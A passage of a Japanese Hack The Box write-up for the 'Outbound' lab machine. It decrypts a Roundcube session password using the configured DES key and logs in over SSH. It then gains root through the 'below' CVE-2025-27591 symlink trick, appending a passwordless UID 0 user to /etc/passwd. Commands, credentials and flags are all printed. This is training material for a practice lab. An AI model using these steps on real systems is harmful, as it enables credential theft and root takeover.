(3) データベースへの接続を終了する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
MariaDB [roundcube]> exit;
(4) varsの値をBase64でデコードすると、いくつかのデータが表示される。
※Kali Linux上で以下のコマンドを実行する。
$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7" | base64 -d
language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additional_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}list_mod_seq|s:2:"10";
(5) varsの値をBase64でデコードした値を確認すると、jacobユーザーのパスワードと思われる文字列が「L7Rv00A8TuwJAr67kITxxcSgnIk25Am/」であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ echo "bGFuZ3VhZ2V8czo1OiJlbl9VUyI7aW1hcF9uYW1lc3BhY2V8YTo0OntzOjg6InBlcnNvbmFsIjthOjE6e2k6MDthOjI6e2k6MDtzOjA6IiI7aToxO3M6MToiLyI7fX1zOjU6Im90aGVyIjtOO3M6Njoic2hhcmVkIjtOO3M6MTA6InByZWZpeF9vdXQiO3M6MDoiIjt9aW1hcF9kZWxpbWl0ZXJ8czoxOiIvIjtpbWFwX2xpc3RfY29uZnxhOjI6e2k6MDtOO2k6MTthOjA6e319dXNlcl9pZHxpOjE7dXNlcm5hbWV8czo1OiJqYWNvYiI7c3RvcmFnZV9ob3N0fHM6OToibG9jYWxob3N0IjtzdG9yYWdlX3BvcnR8aToxNDM7c3RvcmFnZV9zc2x8YjowO3Bhc3N3b3JkfHM6MzI6Ikw3UnYwMEE4VHV3SkFyNjdrSVR4eGNTZ25JazI1QW0vIjtsb2dpbl90aW1lfGk6MTc0OTM5NzExOTt0aW1lem9uZXxzOjEzOiJFdXJvcGUvTG9uZG9uIjtTVE9SQUdFX1NQRUNJQUwtVVNFfGI6MTthdXRoX3NlY3JldHxzOjI2OiJEcFlxdjZtYUk5SHhETDVHaGNDZDhKYVFRVyI7cmVxdWVzdF90b2tlbnxzOjMyOiJUSXNPYUFCQTF6SFNYWk9CcEg2dXA1WEZ5YXlOUkhhdyI7dGFza3xzOjQ6Im1haWwiO3NraW5fY29uZmlnfGE6Nzp7czoxNzoic3VwcG9ydGVkX2xheW91dHMiO2E6MTp7aTowO3M6MTA6IndpZGVzY3JlZW4iO31zOjIyOiJqcXVlcnlfdWlfY29sb3JzX3RoZW1lIjtzOjk6ImJvb3RzdHJhcCI7czoxODoiZW1iZWRfY3NzX2xvY2F0aW9uIjtzOjE3OiIvc3R5bGVzL2VtYmVkLmNzcyI7czoxOToiZWRpdG9yX2Nzc19sb2NhdGlvbiI7czoxNzoiL3N0eWxlcy9lbWJlZC5jc3MiO3M6MTc6ImRhcmtfbW9kZV9zdXBwb3J0IjtiOjE7czoyNjoibWVkaWFfYnJvd3Nlcl9jc3NfbG9jYXRpb24iO3M6NDoibm9uZSI7czoyMToiYWRkaXRpb25hbF9sb2dvX3R5cGVzIjthOjM6e2k6MDtzOjQ6ImRhcmsiO2k6MTtzOjU6InNtYWxsIjtpOjI7czoxMDoic21hbGwtZGFyayI7fX1pbWFwX2hvc3R8czo5OiJsb2NhbGhvc3QiO3BhZ2V8aToxO21ib3h8czo1OiJJTkJPWCI7c29ydF9jb2x8czowOiIiO3NvcnRfb3JkZXJ8czo0OiJERVNDIjtTVE9SQUdFX1RIUkVBRHxhOjM6e2k6MDtzOjEwOiJSRUZFUkVOQ0VTIjtpOjE7czo0OiJSRUZTIjtpOjI7czoxNDoiT1JERVJFRFNVQkpFQ1QiO31TVE9SQUdFX1FVT1RBfGI6MDtTVE9SQUdFX0xJU1QtRVhURU5ERUR8YjoxO2xpc3RfYXR0cmlifGE6Njp7czo0OiJuYW1lIjtzOjg6Im1lc3NhZ2VzIjtzOjI6ImlkIjtzOjExOiJtZXNzYWdlbGlzdCI7czo1OiJjbGFzcyI7czo0MjoibGlzdGluZyBtZXNzYWdlbGlzdCBzb3J0aGVhZGVyIGZpeGVkaGVhZGVyIjtzOjE1OiJhcmlhLWxhYmVsbGVkYnkiO3M6MjI6ImFyaWEtbGFiZWwtbWVzc2FnZWxpc3QiO3M6OToiZGF0YS1saXN0IjtzOjEyOiJtZXNzYWdlX2xpc3QiO3M6MTQ6ImRhdGEtbGFiZWwtbXNnIjtzOjE4OiJUaGUgbGlzdCBpcyBlbXB0eS4iO311bnNlZW5fY291bnR8YToyOntzOjU6IklOQk9YIjtpOjI7czo1OiJUcmFzaCI7aTowO31mb2xkZXJzfGE6MTp7czo1OiJJTkJPWCI7YToyOntzOjM6ImNudCI7aToyO3M6NjoibWF4dWlkIjtpOjM7fX1saXN0X21vZF9zZXF8czoyOiIxMCI7" | base64 -d | sed 's/;/\r\n/g'
language|s:5:"en_US"
imap_namespace|a:4:{s:8:"personal"
a:1:{i:0
a:2:{i:0
s:0:""
i:1
s:1:"/"
}}s:5:"other"
N
s:6:"shared"
N
s:10:"prefix_out"
s:0:""
}imap_delimiter|s:1:"/"
imap_list_conf|a:2:{i:0
N
i:1
a:0:{}}user_id|i:1
username|s:5:"jacob"
storage_host|s:9:"localhost"
storage_port|i:143
storage_ssl|b:0
password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/"
login_time|i:1749397119
timezone|s:13:"Europe/London"
STORAGE_SPECIAL-USE|b:1
auth_secret|s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW"
request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"
task|s:4:"mail"
skin_config|a:7:{s:17:"supported_layouts"
a:1:{i:0
s:10:"widescreen"
}s:22:"jquery_ui_colors_theme"
s:9:"bootstrap"
s:18:"embed_css_location"
s:17:"/styles/embed.css"
s:19:"editor_css_location"
s:17:"/styles/embed.css"
s:17:"dark_mode_support"
b:1
s:26:"media_browser_css_location"
s:4:"none"
s:21:"additional_logo_types"
a:3:{i:0
s:4:"dark"
i:1
s:5:"small"
i:2
s:10:"small-dark"
}}imap_host|s:9:"localhost"
page|i:1
mbox|s:5:"INBOX"
sort_col|s:0:""
sort_order|s:4:"DESC"
STORAGE_THREAD|a:3:{i:0
s:10:"REFERENCES"
i:1
s:4:"REFS"
i:2
s:14:"ORDEREDSUBJECT"
}STORAGE_QUOTA|b:0
STORAGE_LIST-EXTENDED|b:1
list_attrib|a:6:{s:4:"name"
s:8:"messages"
s:2:"id"
s:11:"messagelist"
s:5:"class"
s:42:"listing messagelist sortheader fixedheader"
s:15:"aria-labelledby"
s:22:"aria-label-messagelist"
s:9:"data-list"
s:12:"message_list"
s:14:"data-label-msg"
s:18:"The list is empty."
}unseen_count|a:2:{s:5:"INBOX"
i:2
s:5:"Trash"
i:0
}folders|a:1:{s:5:"INBOX"
a:2:{s:3:"cnt"
i:2
s:6:"maxuid"
i:3
}}list_mod_seq|s:2:"10"
Roundcube Webmailのsessionテーブルの認証情報復号化
(1) 「roundcube session credential」でGoogle検索すると、「https://github.com/roundcube/roundcubemail/issues/7395」にデータベースにログインしている認証情報が保存されていることが記載されている。また、設定ファイルに復号鍵の文字列が設定されていることが分かる。
(2) 復号鍵の文字列は「rcmail-!24ByteDESkey*Str」であることが分かる。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ cat /var/www/html/roundcube/config/config.inc.php
<?php
/*
+-----------------------------------------------------------------------+
| Local configuration for the Roundcube Webmail installation. |
| |
| This is a sample configuration file only containing the minimum |
| setup required for a functional installation. Copy more options |
| from defaults.inc.php to this file to override the defaults. |
| |
| This file is part of the Roundcube Webmail client |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
+-----------------------------------------------------------------------+
*/
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';
// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';
// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
// List of active plugins (in plugins/ directory)
$config['plugins'] = [
'archive',
'zipdownload',
];
(3) 復号化するスクリプト(decrypt.sh)の内容を確認する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ cat /var/www/html/roundcube/bin/decrypt.sh
#!/usr/bin/env php
<?php
/*
+-----------------------------------------------------------------------+
| This file is part of the Roundcube Webmail client |
| |
| Copyright (C) The Roundcube Dev Team |
| |
| Licensed under the GNU General Public License version 3 or |
| any later version with exceptions for skins & plugins. |
| See the README file for a full license statement. |
| |
| PURPOSE: |
| Decrypt the encrypted parts of the HTTP Received: headers |
+-----------------------------------------------------------------------+
| Author: Tomas Tevesz <ice@extreme.hu> |
+-----------------------------------------------------------------------+
*/
/**
* If http_received_header_encrypt is configured, the IP address and the
* host name of the added Received: header is encrypted with 3DES, to
* protect information that some could consider sensitive, yet their
* availability is a must in some circumstances.
*
* Such an encrypted Received: header might look like:
*
* Received: from DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==
* [my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4]
* with HTTP/1.1 (POST); Thu, 14 May 2009 19:17:28 +0200
*
* In this example, the two encrypted components are the sender host name
* (DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ==) and the IP
* address (my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4).
*
* Using this tool, they can be decrypted into plain text:
*
* $ bin/decrypt.sh 'my0nUbjZXKtl7KVBZcsvWOxxtyVFxza4' \
* > 'DzgkvJBO5+bw+oje5JACeNIa/uSI4mRw2cy5YoPBba73eyBmjtyHnQ=='
* 84.3.187.208
* 5403BBD0.catv.pool.telekom.hu
* $
*
* Thus it is known that this particular message was sent by 84.3.187.208,
* having, at the time of sending, the name of 5403BBD0.catv.pool.telekom.hu.
*
* If (most likely binary) junk is shown, then
* - either the encryption password has, between the time the mail was sent
* and 'now', changed, or
* - you are dealing with counterfeit header data.
*/
define('INSTALL_PATH', realpath(__DIR__ .'/..') . '/');
require INSTALL_PATH . 'program/include/clisetup.php';
if ($argc < 2) {
die("Usage: " . basename($argv[0]) . " encrypted-hdr-part [encrypted-hdr-part ...]\n");
}
$RCMAIL = rcube::get_instance();
for ($i = 1; $i < $argc; $i++) {
printf("%s\n", $RCMAIL->decrypt($argv[$i]));
};
(4) 復号化するスクリプト(decrypt.sh)を用いてjacobユーザーのパスワードを復号化する。
※www-dataユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ /var/www/html/roundcube/bin/decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD【別解】Roundcube Webmailのsessionテーブルの認証情報復号化
(1) Triple DES Decryptを復号化するためにBase64でデコードして、IVとInputの値を取得する。
※Kali Linux上で以下のコマンドを実行する。
$ echo L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ | base64 -d | xxd
00000000: 2fb4 6fd3 403c 4eec 0902 bebb 9084 f1c5 /.o.@<N.........
00000010: c4a0 9c89 36e4 09bf ....6...
$ echo L7Rv00A8TuwJAr67kITxxcSgnIk25Am/ | base64 -d | xxd -p
2fb46fd3403c4eec0902bebb9084f1c5c4a09c8936e409bf
(2) ブラウザを用いて「CyberChef(https://gchq.github.io/CyberChef/)」にアクセスし、以下の内容を入力すると、jacobユーザーのパスワードが「595mO8DmwGeD」であることが分かる。
暗号アルゴリズム : Triple DES Decrypt
Key : rcmail-!24ByteDESkey*Str UTF8
IV : 2fb46fd3403c4eec HEX
Mode : CBC
Input : Hex
Output : Raw
Input : 0902bebb9084f1c5c4a09c8936e409bf
jacobユーザーでSSHのログイン
(1) ブラウザを用いて「http://mail.outbound.htb/」にアクセスして、「ユーザー名:jacob」と「パスワード:595mO8DmwGeD」を入力しログインする。
(2) jacobユーザー宛のメールの内容を確認すると、パスワードを「gY4Wr3a1evp4」に変更した旨の記載がある。
(3) SSHを用いて攻撃対象のマシン(Outbound)にjacobユーザーでログインする。
※Kali Linux上で以下のコマンドを実行する。
$ ssh jacob@outbound.htb
→パスワード(gY4Wr3a1evp4)を入力する。
(4) 現在ログインしているユーザー情報を確認すると、jacobユーザーであることが分かる。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ id
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)
$ whoami
jacob
(5) 一般ユーザー用のフラグファイルの内容を確認する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ cat /home/jacob/user.txt
bdf7e64dbe71abd578576473c185fbd6特権昇格のための調査(SUIDなど)
(1) sudoコマンドの設定を確認すると、パスワードなしで「/usr/bin/below *」コマンドを実行できることが分かる。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ sudo -l
Matching Defaults entries for jacob on outbound:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
(2) SUIDファイルを検索する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/passwd
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
(3) .bash_historyファイルを確認すると、何も出力されない。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ cat /home/jacob/.bash_history
(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open
5000 open
33116 open
(5) OSの情報を確認すると、「Ubuntu 24.04.2 LTS」であることが分かる。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ uname -a
Linux outbound 6.8.0-63-generic #66-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:25:30 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.2 LTS
Release: 24.04
Codename: nobleBelowの脆弱性(CVE-2025-27591)を悪用した特権昇格
(1) /usr/bin/belowの使い方を確認するが、特に気になる記載はない。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ /usr/bin/below --help
Usage: below [OPTIONS] [COMMAND]
Commands:
live Display live system data (interactive) (default)
record Record local system data (daemon mode)
replay Replay historical data (interactive)
debug Debugging facilities (for development use)
dump Dump historical data into parseable text format
snapshot Create a historical snapshot file for a given time range
help Print this message or the help of the given subcommand(s)
Options:
--config <CONFIG> [default: /etc/below/below.conf]
-d, --debug
-h, --help Print help
(2) 「below Linux」などでGoogle検索すると、Linux向けのリソースモニターであることが分かる。また、「https://github.com/facebookincubator/below」に各ファイルが格納されている。
(3) 「below exploit」でGoogle検索すると、バージョンv0.8.1以下の場合CVE-2025-27591の特権昇格の脆弱性があることが分かる。
(4) 「https://security.opensuse.org/2025/03/12/below-world-writable-log-dir.html」に記載されている内容を確認すると、Belowのsystemdサービスはroot権限で実行されており、/var/log/belowに誰でも書き込み可能なディレクトリを作成しようとするという脆弱性です。
(5) /var/log/belowとその配下のファイルを確認すると、一般ユーザーに対して書き込み権限があることが分かる。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ ls -l /var/log/ | grep below
drwxrwxrwx 4 root root 4096 Nov 23 19:31 below
$ ls -l /var/log/below/
total 12
-rw-rw-rw- 1 jacob jacob 3250 Nov 23 19:27 error_jacob.log
-rw-rw-rw- 1 root root 0 Nov 23 19:31 error_root.log
drwxr-xr-x 2 root root 4096 Nov 23 17:50 nosuch1
drwxr-xr-x 2 root root 4096 Nov 23 16:04 nosuch2
lrwxrwxrwx 1 jacob jacob 5 Nov 23 17:51 store -> /root
(6) /var/log/below/error_root.logを削除して、/etc/passwdのシンボリックリングのファイルを生成する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ rm /var/log/below/error_root.log
$ ln -s /etc/passwd /var/log/below/error_root.log
$ ls -l /var/log/below/
total 12
-rw-rw-rw- 1 jacob jacob 3250 Nov 23 19:27 error_jacob.log
lrwxrwxrwx 1 jacob jacob 11 Nov 24 03:09 error_root.log -> /etc/passwd
drwxr-xr-x 2 root root 4096 Nov 23 17:50 nosuch1
drwxr-xr-x 2 root root 4096 Nov 23 16:04 nosuch2
lrwxrwxrwx 1 jacob jacob 5 Nov 23 17:51 store -> /root
(7) /etc/passwdのファイル権限を確認すると、644(rw-r–r–)であることが分かる。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1840 Nov 24 03:11 /etc/passwd
(8) statコマンドを用いてファイルシステムの情報を表示する
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ stat /etc/passwd
File: /etc/passwd
Size: 1840 Blocks: 8 IO Block: 4096 regular file
Device: 8,2 Inode: 16522 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2025-11-24 03:26:39.055572114 +0000
Modify: 2025-11-24 03:26:37.589572069 +0000
Change: 2025-11-24 03:26:37.590572069 +0000
Birth: 2025-07-08 21:06:21.791868493 +0000
(9) root権限で/usr/bin/belowを実行すると、画面が切り替わるため[Cntrl] + [C]を押下する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ sudo /usr/bin/below
(10) しばらく待ってパスワード設定なしのzerizeriユーザーにログインするとシステム権限を付与しない設定を/etc/passwdに書き込む。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ echo 'zerizeri::0:0:root:/root:/bin/bash' >> /etc/passwd
(11) zerizeriユーザーにログインし、特権ユーザー権限を奪取する。
※jacobユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
$ su zerizeri
→root権限のプロンプト(#)が表示される。
(12) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが変わる。
※rootユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
(13) 特権ユーザー用のフラグファイルの内容を確認する。
※rootユーザーでログインした攻撃対象のマシン(Outbound)上で以下のコマンドを実行する。
# cat /root/root.txt
fcc22721ebc0b6681e79ca5a4d5c8f4f関連記事(Hack The Box)
※後日作成予定。
